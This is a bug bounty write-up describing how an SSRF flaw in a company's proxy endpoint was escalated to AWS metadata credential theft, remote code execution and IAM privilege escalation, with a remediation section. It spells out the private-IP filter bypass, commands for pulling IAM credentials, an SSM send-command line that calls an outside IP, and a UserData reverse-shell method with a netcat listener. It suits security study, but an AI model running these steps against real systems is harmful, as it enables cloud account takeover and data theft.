Bug Bounty Story: Escalating SSRF to RCE on AWS
Hey everyone, not a CTF write-up today but my first Bug Bounty Bounty story: SSRF escalation to RCE on AWS.
The vulnerability was initially reported on the 20th of July 2021, rewarded as a valid finding on the 22th of July, and patched by the 1st of August. The communication with the company was really good, a patch was rolled out quickly and after a few bypass fixes, it got completely resolved and bounty got granted.
Discovery was made on a private bug bounty program so the company name has been redacted.
In this post I will get into details on how the vulnerability was discovered in order to show the research process. Hopefully this will come useful if you are new to the bug bounty world.
Recon
While doing the usual recon phase (the same done for CTF basically) on the company subdomains, an interesting proxify
endpoint pops up. We can guess it’s used to proxy something.
The endpoint is publicly accessible when setting up the referrer used to navigate the application. When calling the endpoint directly we got informed it require an URL to be provided:
1 | > curl --referer <redacted> https://<redacted>/proxify/ -i |
Let’s try to add an url as GET parameter:
1 | > curl --referer <redacted> "https://<redacted>/proxify/?url=https://example.com" -i |
Having a service making HTTP requests for a user’s chosen URL is risky and if not properly handled can lead to a Server Side Request Forgery vulnerability.
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
In a typical SSRF attack, the attacker might cause the server to make a connection to internal-only services within the organization’s infrastructure. In other cases, they may be able to force the server to connect to arbitrary external systems, potentially leaking sensitive data such as authorization credentials.
https://portswigger.net/web-security/ssrf
It’s possible to verify that the service is vulnerable to SSRF by inputting an URL we have control over. To do so we can use interact.sh
, an open source out of band interaction gathering server (a free alternative to Burp Collaborator).
First we open our listener:
1 | > interactsh-client |
Then we use the generated URL on the proxify/
endpoint:
1 | > curl --referer <redacted> "https://<redacted>/proxify/?url=https://abcdefghijklmnopkrstuvwxyz.interact.sh" -i |
Once the request done, intereact.sh
immediately received an HTTP request coming from the application server, confirming the SSRF vulnerability:
SSRF To AWS Credentials Disclosure
With our bug bounty hunter eyes (or with Google) we can recognize that the caller IP shown by interact.sh
belongs to AWS. Knowing this we can try to connect AWS Private IP to disclose metadata.
AWS EC2 Instances have access to a metadata service at 169.254.169.254
. This service returns a lot of information about the instance such as its IP address, the application tokens, the security group name, etc. Depending on the configuration we can also find IAM credentials to authenticate as this role. If IMDS version 1 is used, SSRF can be used to steal those information and credentials.
Let’s first try to retrieve security credentials (https://169.254.169.254/latest/meta-data/iam/security-credentials/
).
Unfortunately we get hit by the following error:
URL parameter can not be a private URL
But, after a few trial and error, we found that dropping the http
scheme allows to bypass the restriction:
1 | > curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/" -i |
Once we have retrieved the role name we can retrieve all credentials:
1 | > curl --referer <redacted> "https://<redacted>/proxify/?url=169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm" -i |
Bingo. These credentials can then be used with AWS CLI to make API calls as the IAM role.
Let’s import the profile with AWS CLI to continue our enumeration and see if we can escalate our privileges:
1 | > aws configure --profile bugbounty |
This allows us to retrieve the account ID:
1 | > aws sts get-caller-identity |
Remote Code Execution
via send-command
From here the best case scenario for us would be to achieve remote code execution on the EC2 instance.
The easiest way is by listing instances for which security credential is accepted for executing commands.
1 | > aws ssm describe-instance-information --output text --query "InstanceInformationList[*]" |
Unfortunately the role is not authorized to perform send-command
. Otherwise we could have used the following command to gain RCE:
1 | > aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=curl 213.62.1.1:8000/`whoami`' |
via UserData
This second method will trigger alarms and service downtime but can still achieve remote code execution in some scenarios.
In order to not disrupt services this method got shared with the team first and after discussions we got a test instance on which we could validate the PoC safely.
When configuring an EC2 instance you can specify commands which will be automatically executed after booting a machine (via UserData
).
UserData
are base64 encoded and can be retrieved through the user-data
endpoint:
1 | > curl http://169.254.169.254/latest/user-data |
Our goal here is to modify the UserData
to include our command and restart the EC2 instance to get it executed upon boot. Of course this will trigger alarms and short downtime because the instance needs to be restarted.
Here is how to proceed:
- Stop the chosen instance
1 | > aws ec2 stop-instances –instance-ids i-xxxxxxxxxxxxxxx |
- Add a reverse shell script at the end of the existing instance’s
Userdata
(if any)
1 |
|
- Then update the
UserData
of the instance with the newly created script:
1 | > base64 user_data.sh > user_data64.sh |
- Start a local listener to catch the reverse shell
1 | > nc -lvp 15547 |
- Launch the instance with the newly added
UserData
:
1 | > aws ec2 start-instances –instance-ids i-xxxxxxxxxxxxxxx |
And bingo! We get a shell on the instance.
1 | > nc -lvp 15547 |
Note: All those step can be contained in one command using Pacu:
1 | Pacu > run ec2__startup_shell_script --script user_data.sh --instance-ids i-xxxxxxxxxxxxxxx@eu-west-1 |
Escalating privileges
Unfortunately we quickly notice that we barely have any permission on the instance. Bummer.
Fortunately we took note earlier that our current user have the permission to create policies version:
1 | > aws iam get-policy-version --policy-arn arn:aws:iam::xxxxxxxxxxxxxxx:policy/MyPolicy --version-id v2 |
Let’s create a new policy with every permissions and set it as default:
1 | [root@xxx-xx-xx-xxx html]# aws iam create-policy \ |
And we are done! The new ec2_role
is now allowed to perform any arbitrary action. Full control over the instance.
Remediation recommendation
See OWASP SSRF Prevention guide.
To resume:
- Properly sanitize every user’s input.
- Do not allow private IPs to be called from the proxy and use AWS EC2 Instance Metadata Service Version 2 (IMDSv2) since it blocks most of SSRF attacks.
- Use the lowest privilege system user.
References
- SSRF Bypass - Hacktricks.
- Steal EC2 Metadata Credentials via SSRF.
- Just Gopher It: Escalating a Blind SSRF to RCE.
- Playing with CloudGoat: hacking AWS with Pacu.
Timeline
July 20, 2021 — Reported
July 22, 2021 — Status: Accepted
July 23, 2021 — Status: Fixed, patch deployed.
July 24, 2021 — Contacted the team since the SSRF vulnerability was still present through IP based whitelist bypass and open redirect bypass.
July 24, 2021 — Status: Accepted (reopened).
August 1, 2021 — Status: Fixed, patch deployed.
August 1, 2021 — Rewarded.
That’s it folks! I hope you liked this new format. As always do not hesitate to contact me for any questions or feedback!
See you next time ;)
-hg8